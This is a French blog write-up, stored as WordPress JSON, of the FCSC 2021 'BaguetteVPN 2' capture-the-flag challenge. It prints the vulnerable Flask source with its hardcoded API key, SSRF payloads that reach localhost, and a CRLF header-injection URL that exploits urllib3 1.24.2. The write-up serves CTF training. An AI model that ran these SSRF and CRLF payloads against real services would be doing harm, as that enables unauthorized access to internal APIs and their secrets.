{"id":1618,"date":"2021-05-03T19:41:00","date_gmt":"2021-05-03T17:41:00","guid":{"rendered":"https:\/\/mikadmin.fr\/blog\/?p=1618"},"modified":"2021-09-19T01:43:23","modified_gmt":"2021-09-18T23:43:23","slug":"fcsc-2021-baguettevpn-2","status":"publish","type":"post","link":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/","title":{"rendered":"FCSC 2021 : BaguetteVPN 2"},"content":{"rendered":"<span class=\"span-reading-time rt-reading-time\" style=\"display: block;\"><span class=\"rt-label rt-prefix\"><\/span> <span class=\"rt-time\"> 3<\/span> <span class=\"rt-label rt-postfix\">min read<\/span><\/span><p>Views: 1050<\/p>\n<div style=\"height:40px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size wp-block-paragraph\">On va voir dans cet article, le challenge <strong>BaguetteVPN n\u00b02<\/strong> du <strong>FCSC 2021<\/strong> (<strong><a href=\"https:\/\/www.ssi.gouv.fr\/actualite\/participez-au-france-cybersecurity-challenge-fcsc-et-qualifiez-vous-pour-integrer-lequipe-france\/\" target=\"_blank\" rel=\"noreferrer noopener\">France Cybersecurity Challenge<\/a><\/strong>).<\/p>\n\n\n\n<p class=\"has-medium-font-size wp-block-paragraph\"><\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size wp-block-paragraph\">Voici la description du challenge :<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"498\" height=\"484\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image.png\" alt=\"\" class=\"wp-image-1622\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image.png 498w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-300x292.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-150x146.png 150w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-50x50.png 50w\" sizes=\"auto, (max-width: 498px) 100vw, 498px\" \/><\/figure><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size wp-block-paragraph\">Ce dernier \u00e9tant la suite du premier challenge nous trouvons donc des informations dans le code source :<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-1.png\" alt=\"fcsc 2021\" class=\"wp-image-1623\" width=\"491\" height=\"358\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-1.png 904w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-1-300x219.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-1-150x110.png 150w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-1-768x561.png 768w\" sizes=\"auto, (max-width: 491px) 100vw, 491px\" \/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"404\" height=\"254\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-2.png\" alt=\"\" class=\"wp-image-1624\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-2.png 404w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-2-300x189.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-2-150x94.png 150w\" sizes=\"auto, (max-width: 404px) 100vw, 404px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size wp-block-paragraph\">On retrouve donc le script utilis\u00e9 pour ce challenge dans <a href=\"http:\/\/challenges2.france-cybersecurity-challenge.fr:5002\/api\/debug\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/challenges2.france-cybersecurity-challenge.fr:5002\/api\/debug<\/a> :<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"256\" height=\"39\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-3.png\" alt=\"\" class=\"wp-image-1625\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-3.png 256w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-3-150x23.png 150w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-3-250x39.png 250w\" sizes=\"auto, (max-width: 256px) 100vw, 256px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-python\" data-line=\"\"># \/usr\/bin\/env python3\n# -*- coding:utf-8 -*-\n# -*- requirements:requirements.txt -*-\n\n# Congrats! Here is the flag for Baguette VPN 1\/2\n#   FCSC{e5e3234f8dae908461c6ee777ee329a2c5ab3b1a8b277ff2ae288743bbc6d880}\n\nimport os\nimport urllib3\nimport sys\nfrom flask import Flask, request, jsonify, Response\napp = Flask(__name__)\n\n\n@app.route(&#039;\/&#039;)\ndef index():\n    with open(&#039;index.html&#039;, &#039;r&#039;) as myfile:\n        return myfile.read()\n\n\n@app.route(&#039;\/api&#039;)\ndef api():\n    return Response(&#039;OK&#039;, status=200)\n\n\n@app.route(&quot;\/api\/image&quot;)\ndef image():\n    filename = request.args.get(&quot;fn&quot;)\n    if filename:\n        http = urllib3.PoolManager()\n        return http.request(&#039;GET&#039;, &#039;http:\/\/baguette-vpn-cdn&#039; + filename).data\n    else:\n        return Response(&#039;Param\u00e8tre manquant&#039;, status=400)\n\n\n@app.route(&quot;\/api\/secret&quot;)\ndef admin():\n    if request.remote_addr == &#039;127.0.0.1&#039;:\n        if request.headers.get(&#039;X-API-KEY&#039;) == &#039;b99cc420eb25205168e83190bae48a12&#039;:\n            return jsonify({&quot;secret&quot;: os.getenv(&#039;FLAG&#039;)})\n        return Response(&#039;Interdit: mauvaise cl\u00e9 d\\&#039;API&#039;, status=403)\n    return Response(&#039;Interdit: mauvaise adresse IP&#039;, status=403)\n\n\n@app.route(&quot;\/api\/debug&quot;)\ndef debug():\n    data = {}\n    for k, v in globals().copy().items():\n        if not isinstance(v, str):\n            data[k] = str(dir(v))\n        else:\n            data[k] = v\n    data[&#039;__version__&#039;] = sys.version\n    return jsonify(data)\n\n\n@app.route(&#039;\/&lt;path:path&gt;&#039;)\ndef load_page(path):\n    if &#039;..&#039; in path:\n        return Response(&#039;Interdit&#039;, status=403)\n    try:\n        with open(path, &#039;r&#039;) as myfile:\n            mime = &#039;text\/&#039; + path.split(&#039;.&#039;)[-1]\n            return Response(myfile.read(), mimetype=mime)\n    except Exception as e:\n        return Response(str(e), status=404)\n\n\nif __name__ == &#039;__main__&#039;:\n    app.run(host=&#039;0.0.0.0&#039;, port=os.getenv(&#039;FLASK_LOCAL_PORT&#039;))<\/code><\/pre>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size wp-block-paragraph\">Les deux parties qui nous int\u00e9ressent sont :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-python\" data-line=\"\">@app.route(&quot;\/api\/image&quot;)\ndef image():\n    filename = request.args.get(&quot;fn&quot;)\n    if filename:\n        http = urllib3.PoolManager()\n        return http.request(&#039;GET&#039;, &#039;http:\/\/baguette-vpn-cdn&#039; + filename).data\n    else:\n        return Response(&#039;Param\u00e8tre manquant&#039;, status=400)\n\n\n@app.route(&quot;\/api\/secret&quot;)\ndef admin():\n    if request.remote_addr == &#039;127.0.0.1&#039;:\n        if request.headers.get(&#039;X-API-KEY&#039;) == &#039;b99cc420eb25205168e83190bae48a12&#039;:\n            return jsonify({&quot;secret&quot;: os.getenv(&#039;FLAG&#039;)})\n        return Response(&#039;Interdit: mauvaise cl\u00e9 d\\&#039;API&#039;, status=403)\n    return Response(&#039;Interdit: mauvaise adresse IP&#039;, status=403)<\/code><\/pre>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size wp-block-paragraph\">Afin de r\u00e9cup\u00e9rer le <a href=\"https:\/\/mikadmin.fr\/blog\/tryhackme-overpass-3\/\" target=\"_blank\" rel=\"noreferrer noopener\">flag<\/a> sur <strong><span style=\"color:#9b51e0\" class=\"tadv-color\">\/api\/secret<\/span><\/strong> il faut venir en provenance de<span style=\"color:#cf2e2e\" class=\"tadv-color\"> <strong>127.0.0.1<\/strong><\/span> et envoyer un <strong>header avec l&rsquo;API KEY<\/strong>.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size wp-block-paragraph\">C&rsquo;est l\u00e0 que nous allons utiliser l&rsquo;<strong>api image<\/strong> qui fait une requ\u00eate <strong><span style=\"color:#0693e3\" class=\"tadv-color\">GET<\/span><\/strong> sur <strong><span style=\"color:#00d084\" class=\"tadv-color\">http:\/\/baguette-vpn-cdn<\/span><\/strong> et le param\u00e8tre<span style=\"color:#cf2e2e\" class=\"tadv-color\"> <strong>fn<\/strong><\/span> que nous lui fournissons, pour venir en provenance de <strong><span style=\"color:#cf2e2e\" class=\"tadv-color\">127.0.0.1<\/span><\/strong> nous pouvons par exemple enregistrer un <strong>sous-domaine<\/strong> qui commence par <strong><span style=\"color:#00d084\" class=\"tadv-color\">baguette-vpn-cdn<\/span><\/strong> et qui pointe sur <strong>127.0.0.1<\/strong> :<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-5.png\" alt=\"\" class=\"wp-image-1629\" width=\"417\" height=\"220\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-5.png 585w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-5-300x158.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-5-150x79.png 150w\" sizes=\"auto, (max-width: 417px) 100vw, 417px\" \/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-6.png\" alt=\"\" class=\"wp-image-1630\" width=\"425\" height=\"240\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-6.png 586w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-6-300x169.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-6-150x85.png 150w\" sizes=\"auto, (max-width: 425px) 100vw, 425px\" \/><\/figure><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\" style=\"font-size:19px\">Et donc en utilisant comme param\u00e8tre<strong> .bookctf.eu<\/strong> ceci nous redirige vers le <strong><span style=\"color:#cf2e2e\" class=\"tadv-color\">127.0.0.1<\/span><\/strong> :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-markup\" data-line=\"\">http:\/\/baguette-vpn-cdn.bookctf.eu<\/code><\/pre>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size wp-block-paragraph\">Avec un peu de flair et l&rsquo;indice qui nous dit que le <strong>port est inf\u00e9rieur \u00e0 2000<\/strong> on peut donc supposer que c&rsquo;est le fameux<span style=\"color:#cf2e2e\" class=\"tadv-color\"> <strong>1337<\/strong><\/span> ou bien avec une petite boucle testant chaque port de 1 \u00e0 2000.<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-7.png\" alt=\"\" class=\"wp-image-1631\" width=\"836\" height=\"150\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-7.png 836w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-7-300x54.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-7-150x27.png 150w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-7-768x138.png 768w\" sizes=\"auto, (max-width: 836px) 100vw, 836px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size wp-block-paragraph\">Il est \u00e9galement possible d&rsquo;utiliser une m\u00e9thode plus facile avec des payloads comme :<\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-markdown\" data-line=\"\">whatever.localhost:1337\/api\/secret\n@localhost:1337\/api\/secret\n@127.0.0.1\/api\/secret\n.localtest.me:1337\/api\/secret<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator is-style-default\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size wp-block-paragraph\">On a donc pass\u00e9 la<strong> premi\u00e8re condition<\/strong> et pour la derni\u00e8re il s&rsquo;agit d&rsquo;exploiter la <strong>faille <a href=\"https:\/\/www.acunetix.com\/websitesecurity\/crlf-injection\/\" target=\"_blank\" rel=\"noreferrer noopener\">CRLF<\/a><\/strong> et on trouve une bonne piste gr\u00e2ce au fichier <strong>requirements.txt<\/strong> qui nous donne la version du module <strong><span style=\"color:#ff6900\" class=\"tadv-color\">urllib3<\/span><\/strong> (<strong><span style=\"color:#00d084\" class=\"tadv-color\">1.24.2<\/span><\/strong>) et \u00e0 ce <a href=\"https:\/\/github.com\/urllib3\/urllib3\/issues\/1553\" target=\"_blank\" rel=\"noreferrer noopener\">lien<\/a> exploitant une <strong><span style=\"color:#fcb900\" class=\"tadv-color\">CRLF<\/span><\/strong> dans le module <strong><span style=\"color:#ff6900\" class=\"tadv-color\">urllib3<\/span><\/strong> qui est utilis\u00e9 par notre script.<\/p>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"623\" height=\"177\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-8.png\" alt=\"\" class=\"wp-image-1632\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-8.png 623w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-8-300x85.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-8-150x43.png 150w\" sizes=\"auto, (max-width: 623px) 100vw, 623px\" \/><\/figure><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size wp-block-paragraph\">Nous pouvons donc injecter notre <strong>header<\/strong> permettant de r\u00e9cup\u00e9rer le flag gr\u00e2ce \u00e0 ce <strong>payload<\/strong> :<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-markdown\" data-line=\"\">%20HTTP\/1.1%0D%0AX-API-KEY:%20b99cc420eb25205168e83190bae48a12%0D%0AIgnore:<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"has-text-align-center has-medium-font-size wp-block-paragraph\">Et on r\u00e9cup\u00e8re donc ce fameux flag !<\/p>\n\n\n\n<pre class=\"wp-block-prismatic-blocks\"><code class=\"language-markdown\" data-line=\"\">http:\/\/challenges2.france-cybersecurity-challenge.fr:5002\/api\/image?fn=.bookctf.eu:1337\/api\/secret%20HTTP\/1.1%0D%0AX-API-KEY:%20b99cc420eb25205168e83190bae48a12%0D%0AIgnore:<\/code><\/pre>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"684\" height=\"99\" src=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-10.png\" alt=\"\" class=\"wp-image-1634\" srcset=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-10.png 684w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-10-300x43.png 300w, https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/image-10-150x22.png 150w\" sizes=\"auto, (max-width: 684px) 100vw, 684px\" \/><\/figure><\/div>\n\n\n\n<div style=\"height:15px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n","protected":false},"excerpt":{"rendered":"<p><span class=\"span-reading-time rt-reading-time\" style=\"display: block;\"><span class=\"rt-label rt-prefix\"><\/span> <span class=\"rt-time\"> 3<\/span> <span class=\"rt-label rt-postfix\">min read<\/span><\/span>Voici le write up du challenge Baguette VPN n\u00b02 du France Cybersecurity Challenge (FCSC 2021)<\/p>\n<p>Le but est de r\u00e9cup\u00e9rer le secret contenu dans l&rsquo;API. <a href=\"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/\" class=\"more-link\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":1620,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"categories":[4],"tags":[62,21,61,45,15,60,63],"class_list":["post-1618","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-infosec","tag-crlf","tag-ctf","tag-fcsc","tag-pentest","tag-python","tag-web","tag-writeup"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.10 - aioseo.com -->\n\t<meta name=\"description\" content=\"Voici le write up du challenge Baguette VPN n\u00b02 du France Cybersecurity Challenge (FCSC 2021). Le but est de r\u00e9cup\u00e9rer le secret contenu dans l&#039;API.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Mika\"\/>\n\t<meta name=\"keywords\" content=\"fcsc 2021,france cybersecurity challenge,baguette vpn 2,python3,urllib3,crlf,ctf,pentest,writeup,fcsc,python,web,infosec\" \/>\n\t<link rel=\"canonical\" href=\"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.10\" \/>\n\t\t<meta property=\"og:locale\" content=\"fr_FR\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Mika&#039;s Blog | Sysadmin, Network &amp; Infosec\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"FCSC 2021 : BaguetteVPN 2 | Writeup | Mika&#039;s Blog\" \/>\n\t\t<meta property=\"og:description\" content=\"Voici le write up du challenge Baguette VPN n\u00b02 du France Cybersecurity Challenge (FCSC 2021). Le but est de r\u00e9cup\u00e9rer le secret contenu dans l&#039;API.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/images-e1620059416644.png\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/images-e1620059416644.png\" \/>\n\t\t<meta property=\"og:image:width\" content=\"175\" \/>\n\t\t<meta property=\"og:image:height\" content=\"98\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2021-05-03T17:41:00+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2021-09-18T23:43:23+00:00\" \/>\n\t\t<meta property=\"article:author\" content=\"mikadmin\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary\" \/>\n\t\t<meta name=\"twitter:title\" content=\"FCSC 2021 : BaguetteVPN 2 | Writeup | Mika&#039;s Blog\" \/>\n\t\t<meta name=\"twitter:description\" content=\"Voici le write up du challenge Baguette VPN n\u00b02 du France Cybersecurity Challenge (FCSC 2021). Le but est de r\u00e9cup\u00e9rer le secret contenu dans l&#039;API.\" \/>\n\t\t<meta name=\"twitter:creator\" content=\"@mika_sec\" \/>\n\t\t<meta name=\"twitter:image\" content=\"https:\/\/mikadmin.fr\/blog\/wp-content\/uploads\/2021\/05\/images-e1620059416644.png\" \/>\n\t\t<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t\t<meta name=\"twitter:data1\" content=\"Mika\" \/>\n\t\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#article\",\"name\":\"FCSC 2021 : BaguetteVPN 2 | Writeup | Mika's Blog\",\"headline\":\"FCSC 2021 : BaguetteVPN 2\",\"author\":{\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/author\\\/mikadmin\\\/#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/#organization\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/wp-content\\\/uploads\\\/2021\\\/05\\\/images-e1620059416644.png\",\"width\":175,\"height\":98},\"datePublished\":\"2021-05-03T19:41:00+02:00\",\"dateModified\":\"2021-09-19T01:43:23+02:00\",\"inLanguage\":\"fr-FR\",\"commentCount\":2,\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#webpage\"},\"articleSection\":\"infosec, crlf, ctf, fcsc, pentest, python, web, writeup\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/mikadmin.fr\\\/blog\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/category\\\/infosec\\\/#listItem\",\"name\":\"infosec\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/category\\\/infosec\\\/#listItem\",\"position\":2,\"name\":\"infosec\",\"item\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/category\\\/infosec\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#listItem\",\"name\":\"FCSC 2021 : BaguetteVPN 2\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#listItem\",\"position\":3,\"name\":\"FCSC 2021 : BaguetteVPN 2\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/category\\\/infosec\\\/#listItem\",\"name\":\"infosec\"}}]},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/#organization\",\"name\":\"Mika's Blog\",\"description\":\"Sysadmin, Network & Infosec\",\"url\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/wp-content\\\/uploads\\\/2020\\\/10\\\/favicon.ico\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#organizationLogo\",\"width\":16,\"height\":16},\"image\":{\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#organizationLogo\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/author\\\/mikadmin\\\/#author\",\"url\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/author\\\/mikadmin\\\/\",\"name\":\"Mika\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#authorImage\",\"url\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/wp-content\\\/uploads\\\/2020\\\/10\\\/qV4LCrel_400x400-1-150x150.jpg\",\"width\":96,\"height\":96,\"caption\":\"Mika\"},\"sameAs\":[\"mikadmin\",\"https:\\\/\\\/twitter.com\\\/mika_sec\"]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#webpage\",\"url\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/\",\"name\":\"FCSC 2021 : BaguetteVPN 2 | Writeup | Mika's Blog\",\"description\":\"Voici le write up du challenge Baguette VPN n\\u00b02 du France Cybersecurity Challenge (FCSC 2021). Le but est de r\\u00e9cup\\u00e9rer le secret contenu dans l'API.\",\"inLanguage\":\"fr-FR\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/author\\\/mikadmin\\\/#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/author\\\/mikadmin\\\/#author\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/wp-content\\\/uploads\\\/2021\\\/05\\\/images-e1620059416644.png\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#mainImage\",\"width\":175,\"height\":98},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/fcsc-2021-baguettevpn-2\\\/#mainImage\"},\"datePublished\":\"2021-05-03T19:41:00+02:00\",\"dateModified\":\"2021-09-19T01:43:23+02:00\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/\",\"name\":\"Mika's Blog\",\"description\":\"Sysadmin, Network & Infosec\",\"inLanguage\":\"fr-FR\",\"publisher\":{\"@id\":\"https:\\\/\\\/mikadmin.fr\\\/blog\\\/#organization\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"FCSC 2021 : BaguetteVPN 2 | Writeup | Mika's Blog","description":"Voici le write up du challenge Baguette VPN n\u00b02 du France Cybersecurity Challenge (FCSC 2021). Le but est de r\u00e9cup\u00e9rer le secret contenu dans l'API.","canonical_url":"https:\/\/mikadmin.fr\/blog\/fcsc-2021-baguettevpn-2\/","robots":"max-image-preview:large","keywords":"fcsc 2021,france cybersecurity challenge,baguette vpn 